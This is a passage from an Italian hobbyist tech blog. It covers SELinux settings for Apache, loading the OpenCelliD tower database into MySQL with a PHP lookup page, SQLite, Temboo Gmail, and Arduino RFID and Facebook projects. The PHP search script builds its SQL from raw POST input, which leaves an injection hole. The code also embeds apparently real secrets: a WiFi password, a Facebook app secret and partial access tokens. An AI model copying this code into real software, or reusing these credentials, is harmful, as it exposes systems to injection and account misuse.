24. 06/08/2014 14:02:15 httpd system_u:system_r:httpd_t:s0 2 file write system_u:object_r:httpd_sys_content_t:s0 denied 544
----------------------------------------------------------------------

per avere qualche suggerimento ho usato

grep httpd_sys_content /var/log/audit/audit.log | audit2allow
----------------------------------------------------------------------
#============= httpd_t ==============
allow httpd_t httpd_sys_content_t:dir { write add_name };
allow httpd_t httpd_sys_content_t:file { write create setattr };
----------------------------------------------------------------------
che indica di abilitare in scrittura httpd

girando un po' per Google e' consigliato di abilitare i seguenti comandi selinux nel caso che sviluppino webapp

setsebool -P httpd_enable_cgi on
setsebool -P httpd_unified on
setsebool -P httpd_builtin_scripting on

a questo punto l'uploader funziona con Selinux attivato

altrimenti il metodo proposto sul wiki di Selinux e' il seguente

grep httpd _sys_content /var/log/audit/audit.log | audit2allow -M apache_selinux
semodule -i apache_selinux.pp

lunedì 23 dicembre 2013

Database antenne telefonia mobile

Per ottenere la posizione delle antenne cellulari, oltre all'interfaccia web, e' possibile scaricare anche l'intero database in modo da effettuare una consultazione offline



Il database si scarica all'indirizzo http://downloads.opencellid.org/ ed e' particolarmente corposo perche' e' attualmente costituito da un file da 57 Mb compressi di posizioni testuali di celle (corrispondenti a  2390305entrate) e da oltre 4.5 Gb compressi di dati di misure (divisi in 12 file di cui ogni file contiene circa 500.000 misure)

Ovviamente e' impossibile consultare con un editor di testo tale mole di dati e quindi e' necessaria la conversione in database, in particolare MySQL

Per prima cosa si crea la struttura della tabella
----------------------------------------------------------------

-- MySQL dump 10.13  Distrib 5.5.33, for debian-linux-gnu (x86_64)
--
-- Host: localhost    Database: celle
-- ------------------------------------------------------
-- Server version 5.5.33-1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `celle`
--

DROP TABLE IF EXISTS `celle`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `celle` (
  `mcc` int(11) NOT NULL,
  `mnc` int(11) NOT NULL,
  `lac` int(11) NOT NULL,
  `cellid` int(11) NOT NULL,
  `long` double NOT NULL,
  `lat` double NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
----------------------------------------------------------------

In seguito ci si logga dentro mysql (mysql -u root -p) e si digita il seguente comando

load data infile '/home/luca/Desktop/cell_towers.csv' into table celle columns terminated by ',';

per il seguente risultato
Query OK, 2390305 rows affected, 65535 warnings (1 min 33.18 sec)
Records: 2390305  Deleted: 0  Skipped: 0  Warnings: 2390386

A questo punto si puo' fare una semplice pagina web di consultazione
--------------------------------------------------------
<form action="search.php" method="post">     
MCC: <input type="text" name="mcc" />
MNC: <input type="text" name="mnc" />
LAC: <input type="text" name="lac" />
CellId: <input type="text" name="cellid" />
<input type="Submit" /></form>
--------------------------------------------------------

ed il corrispondente script in Php
--------------------------------------------------------
<?php
$username="root";
$password="xxxxxx";
$database="celle";
mysql_connect(localhost,$username,$password);
@mysql_select_db($database) or die( "Unable to select database");
$query="SELECT * FROM celle WHERE mcc='".$_POST['mcc']."' AND mnc='".$_POST['mnc']."' AND lac  LIKE '".$_POST['lac']."%' AND cellid  LIKE '".$_POST['cellid']."%'";

print $query."<br>";
$result=mysql_query($query);
$num=mysql_numrows($result);


while($row = mysql_fetch_array($result))
  {
  echo "<a target=blank href=\"http://www.openstreetmap.org/?mlat=".$row['lat']."&mlon=".$row['long']."&zoom=12\">MCC:".$row['mcc']."-MNC:".$row['mnc']."-LAC:".$row['lac']."-CellId:".$row['cellid']."</a>";
  echo "<br>";
  }

mysql_close();
?>
--------------------------------------------------------
Lo script riporta un link, cliccando sopra si evidenzia la posizione su Openstreetmap

Similarmente si puo' fare per il database delle misure

Effettuando una esportazione dei punti che sono compresi tra 10-11.9° di longitudine e 42-44.5° latitudine (piu' o meno i confini della Toscana) si osserva che sono censite 6780 antenne di telefonia cellulare ma la loro distribuzione e' molto disomogenea con una curiosa predilezione per le grandi vie di comunicazione



venerdì 27 settembre 2013

Sqlite in Php per uso Web



Per poter effettuare delle operazioni di Insert/Update/Delete su database Sqlite gestito da interfaccia Web e' necessario che il file di database abbia i permessi corretti

Non e' sufficiente settare a 777 i permessi del file .db ma deve essere anche impostato come proprietario del file l'utente apache (che su Debian e' www-data) con il seguente comando (attenzione ai punti)
----------------------
chown www-data. . 
----------------------

in caso contrario degli script sintatticamente corretti non funzioneranno

giovedì 26 settembre 2013

Postare su GMail con Temboo in Php


Insieme ad Arduino Yun viene fornito anche il supporto per Temboo, un metodo semplice per utilizzare le API di diversi servizi Web come per esempio Google o Facebook

Per utilizzare questo metodo, dopo essersi registrati, si deve individuare quali sono le Application Keys. Per l'account Free e' possibile definire una sola applicazione con un limite di 1000 transazioni/mese 



Si puo' quindi scaricare l'SDK preferito (in questo caso Php) e creare il seguente semplice script
Di fatto devono essere inserite le credenziali di Temboo (username=c1p81, Appname = myFirstApp e Secret Key) e poi le variabili per spedire la mail con le credenziali (in chiaro....scelta un po' opinabile) di Google
----------------------------------------------------------
<?
require './php-sdk/src/temboo.php';
$session = new Temboo_Session('c1p81', 'myFirstApp', '09d467e6-xxxxxxxxxx');
$sendEmail = new Google_Gmail_SendEmail($session);
$sendEmailInputs = $sendEmail->newInputs();
$sendEmailInputs->setMessageBody("Da Giglio")->setSubject("Giglio automatico")->setUsername("lucainnoc")->setPassword("xxxxxx")->setFromAddress("lucainnoc@gmail.com")->setToAddress("l.innocenti@xxxxxxx.it");
$sendEmailResults = $sendEmail->execute($sendEmailInputs)->getResults();
?>

lunedì 16 settembre 2013

Sqlite e Php

Un metodo semplice per avere un database su un sito Web senza utilizzare un sql server e' quello di impiegare sqlite (che non e' basato su un motore sql ma su semplici file)

Per l'installazione si procede semplicemente con

apt-get install php5-sqlite


Di seguito un breve codice che crea il file di database (rfid.db), crea una tabella all'interno, la popola ed effettua una select rilasciando poi l'oggetto db
---------------------------
<?php
$db = new PDO('sqlite:rfid.db');
$db->exec("CREATE TABLE rfid (rfid TEXT,token TEXT)");  
$db->exec("INSERT INTO rfid (rfid, token) VALUES ('12345', 'abcdef');");
$results = $db->query('SELECT * FROM rfid');
foreach($results as $row)
{
print $row['rfid']."-".$row['token']."<br>";
}
$db = NULL;
?>

martedì 10 settembre 2013

Accoppiamento WiFly con lettore Rfid



Per lo shield WiFly e' stata effettuata la patch descritta qui


Per la connessione del lettore Rfid si usano i seguenti pin

VCC : 3.3V
GND :
MOSI: Pin 11 / ICSP-4
MISO: Pin 12 / ICSP-1
SCK: Pin 13 / ISCP-3
SS: Pin 10
RST: Pin 9

da notare che vista la presenza dello shield il PIN 3.3V risulta coperto per cui e' stato necessario mettere una patch piegando il piedino in modo da poter appoggiare lo shield. In realta' si potrebbe rubare la corrente saldando un contatto direttamente sullo shield

Lo sketch inizializza il lettore Rfid e la WiFly. Successivamente nel loop attende che venga passato il tag Rfid, lo legge ed invia il codice allo script in Php sul server
---------------------------------------------------
#include <WiFlyHQ.h>
#include <SPI.h>
#include <RFID.h>
#include <SoftwareSerial.h>


//WiFi
SoftwareSerial wifiSerial(2,3);
WiFly wifly;
const char mySSID[] = "TIM_PN51T_C0D1";
const char myPassword[] = "50276337";
const char site[] = "m.msn.unifi.it";

//RFid
#define SS_PIN 10
#define RST_PIN 9
RFID rfid(SS_PIN, RST_PIN); 
int serNum0;
int serNum1;
int serNum2;
int serNum3;
int serNum4;

void terminal();

void setup()
{
    char buf[32];
    
    SPI.begin(); 
    rfid.init();

    Serial.begin(9600);
    pinMode(pushButton, INPUT);

    Serial.println("Starting");
    Serial.print("Free memory: ");
    Serial.println(wifly.getFreeMemory(),DEC);

    wifiSerial.begin(9600);
    if (!wifly.begin(&wifiSerial, &Serial)) {
        Serial.println("Failed to start wifly");
terminal();
    }

    /* Join wifi network if not already associated */
    if (!wifly.isAssociated()) {
/* Setup the WiFly to connect to a wifi network */
Serial.println("Joining network");
wifly.setSSID(mySSID);
wifly.setPassphrase(myPassword);
wifly.enableDHCP();

if (wifly.join()) {
   Serial.println("Joined wifi network");
} else {
   Serial.println("Failed to join wifi network");
   terminal();
}
    } else {
        Serial.println("Already joined network");
    }

    //terminal();

    Serial.print("MAC: ");
    Serial.println(wifly.getMAC(buf, sizeof(buf)));
    Serial.print("IP: ");
    Serial.println(wifly.getIP(buf, sizeof(buf)));
    Serial.print("Netmask: ");
    Serial.println(wifly.getNetmask(buf, sizeof(buf)));
    Serial.print("Gateway: ");
    Serial.println(wifly.getGateway(buf, sizeof(buf)));

    wifly.setDeviceID("Wifly-WebClient");
    Serial.print("DeviceID: ");
    Serial.println(wifly.getDeviceID(buf, sizeof(buf)));


}

void loop()
{
    if (wifly.available() > 0) {
char ch = wifly.read();
Serial.write(ch);
if (ch == '\n') {
   /* add a carriage return */ 
   Serial.write('\r');
}
    }

    if (Serial.available() > 0) {
wifly.write(Serial.read());
    }


 if (rfid.isCard()) {
        if (rfid.readCardSerial()) {
              if (wifly.isConnected()) {
                  Serial.println("Old connection active. Closing");
                  wifly.close();
                  }

              if (wifly.open(site, 80)) {
                  Serial.print("Connected to ");
                  Serial.println(site);
                  } else {
                  Serial.println("Failed to connect");
                }
                serNum0 = rfid.serNum[0];
                serNum1 = rfid.serNum[1];
                serNum2 = rfid.serNum[2];
                serNum3 = rfid.serNum[3];
                serNum4 = rfid.serNum[4];
                String Id = String(rfid.serNum[0],HEX)+String(rfid.serNum[1],HEX)+String(rfid.serNum[2],HEX)+String(rfid.serNum[3],HEX)+ String(rfid.serNum[4],HEX);
                Serial.println(Id);
                String params = "{}";
                String paramsLength = String(params.length());
                /* Send the request */
                
                wifly.println("POST /luca/examples/rfid_server2.php?rfid="+Id+"&msg=definitivo HTTP/1.1"); // paste your number here
                wifly.println("Host: m.msn.unifi.it:80");
                wifly.print("Content-Length: ");
                wifly.println(paramsLength);
                wifly.println("User-Agent: lifegraph/0.0.1");
                wifly.println();
                wifly.println(params);
             } 
        
    rfid.halt();
    }
}

/* Connect the WiFly serial to the serial monitor. */
void terminal()
{
    while (1) {
if (wifly.available() > 0) {
   Serial.write(wifly.read());
}


if (Serial.available() > 0) {
   wifly.write(Serial.read());
}
    }
}

-----------------------------------------------------------




Script Php

-----------------------------------------------------------
require_once '../src/facebook.php';
//Luca
if ($_GET["rfid"] == "f479abb492")
    {
    $accessToken = "CAAJkNq2LttoBAJywtmNSbVHqFPubOjYmQ2yyUG4kpibD75BHid9J7xsvif8osSOc4ewgK4aYerrLZBsZCQM5wykRTYVLDkCJXlXYl3gi8WFRQ8U4p4y4ZAXYsdamz6RVdRJZAe4vZA80mWBayuG0qc4IAj2TMDmQXKiv1OrKp8CwKjD6xxxxxxxxxxxxxxxxx";
    print "Luca<br>";
    }
//Gabriele
if ($_GET["rfid"] == "0800364CD7")
    {
    $accessToken = "CAAJkNq2LttoBACxBnb2QjtvbedXaRNwWDAniJsIE59ZBZBjDgsT1FtTmBIVxZAmS4MbbEXY8Y9kduFxfBmQhEgflGxdvXjRG1CAMHICGlHGaCXfP81VlLRySw2m8lzatt074jHsDKYlQjwZAHI725LLSMsAjjDDty3GDOrso0361xLCDzxxxxxxxxxxxxxxxxxxxxxxxxxx";
    print "Gabriele";
    }

$appid = '6731359560xxxxxx';
$appsecret = 'dde6cfb07dbb769c7efe94xxxxxxxxx';
$msg = $_GET["msg"];
$title = 'Dove sono ??';
$uri = 'http://debiaonoldcomputers.blogspot.com/';
$desc = 'Sono ad Arcetri';
$pic = 'http://www.dst.unifi.it/themes/Boozook/images/testa.gif';
$action_name = 'Link';
$action_link = 'http://www.geo.unifi.it/';

$facebook = new Facebook(array(
 'appId' => $appid,
 'secret' => $appsecret,
 'cookie' => false,
 ));

 $user = $facebook->getUser();


$attachment = array(
'access_token' => $accessToken,
'message' => $msg,
'name' => $title,
'link' => $uri,
'description' => $desc,
'picture'=>$pic,
'actions' => json_encode(array('name' => $action_name,'link' => $action_link))
);
$status = $facebook->api("/me/feed", "post", $attachment);
print "Ok";
?> 


lunedì 9 settembre 2013

Conteggio Like mediante Arduino

In questo post viene descritto come effettuare il conteggio dei Like di una pagina Facebook mediante Arduino

Sono sono stati utilizzati
Arduino UNO
Shield Ethernet
Bridge Ethernet-WiFi Vonets
Display LCD 1602 (modalita' I2C)



Il montaggio e' piuttosto semplice.
Il bridge e' stato usato per dare capacita' wireless all'Arduino senza utilizzare il costoso shield apposito
Il montaggio dei cavi del display e' spiegato in questo post


Di fatto l'Arduino efffettua una richiesta ad uno script Php che e' su server remoto, legge e mette a display il risultato (il tutto e' basato sull'Esempio WebClient della libreria Ethernet di Arduino)
-------------------------------------
#include <SPI.h>
#include <Ethernet.h>
#include <Wire.h> 
#include <LiquidCrystal_I2C.h>


LiquidCrystal_I2C lcd(0x27,16,2);  // set the LCD address to 0x27 for a 16 chars and 2 line display


String currentLine = "";            
String fbcount = "";                


byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
char server[] = "m.xxxx.unifi.it";    

IPAddress ip(192,168,0,177);
EthernetClient client;

void setup() {
   lcd.init();    
   lcd.backlight();
   lcd.print("Facebook");
   lcd.setCursor(0,1);
   lcd.print("Like counter");
   
  Serial.begin(9600);
   while (!Serial) {
  }

  // start the Ethernet connection:
  if (Ethernet.begin(mac) == 0) {
    Serial.println("Failed to configure Ethernet using DHCP");
    Ethernet.begin(mac, ip);
  }
  delay(1000);
  Serial.println("connecting...");

  // if you get a connection, report back via serial:
  if (client.connect(server, 80)) {
    Serial.println("connected");
    client.println("GET /xxxxxxx/like3.php HTTP/1.1");
    client.println("Connection: close");
    client.println();
  } 
  else {
    Serial.println("connection failed");
  }
}

void loop()
{
  if (client.available()) {
    char c = client.read();
    //Serial.print(c);

    currentLine += c; 


      if ( currentLine.startsWith("Like:")) {
         
        fbcount += c;
        Serial.println(fbcount);
        lcd.clear();
        lcd.print("Like"+fbcount);

      }

     if (c == '\n') {
        currentLine = "";
        fbcount = "";
      } 

    
  }

  if (!client.connected()) {
    Serial.println();
    Serial.println("disconnecting.");
    client.stop();

    while(true);
  }
}
--------------------------------------------------
Script PHP
--------------------------------------------------
<?
require_once '../src/facebook.php';

$appid = '673135956047578';
$appsecret = 'dde6cfb07dbb769c7efe949c20afd73d';

$facebook = new Facebook(array(
 'appId' => $appid,
 'secret' => $appsecret,
 'cookie' => false,
 ));

$like = array(
    'method' => 'fql.query',
    'query' => 'select fan_count from page where page_id=266068113416863;'
);

$result = $facebook->api($like);

print "Like:".$result[0]['fan_count'];
?>


Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...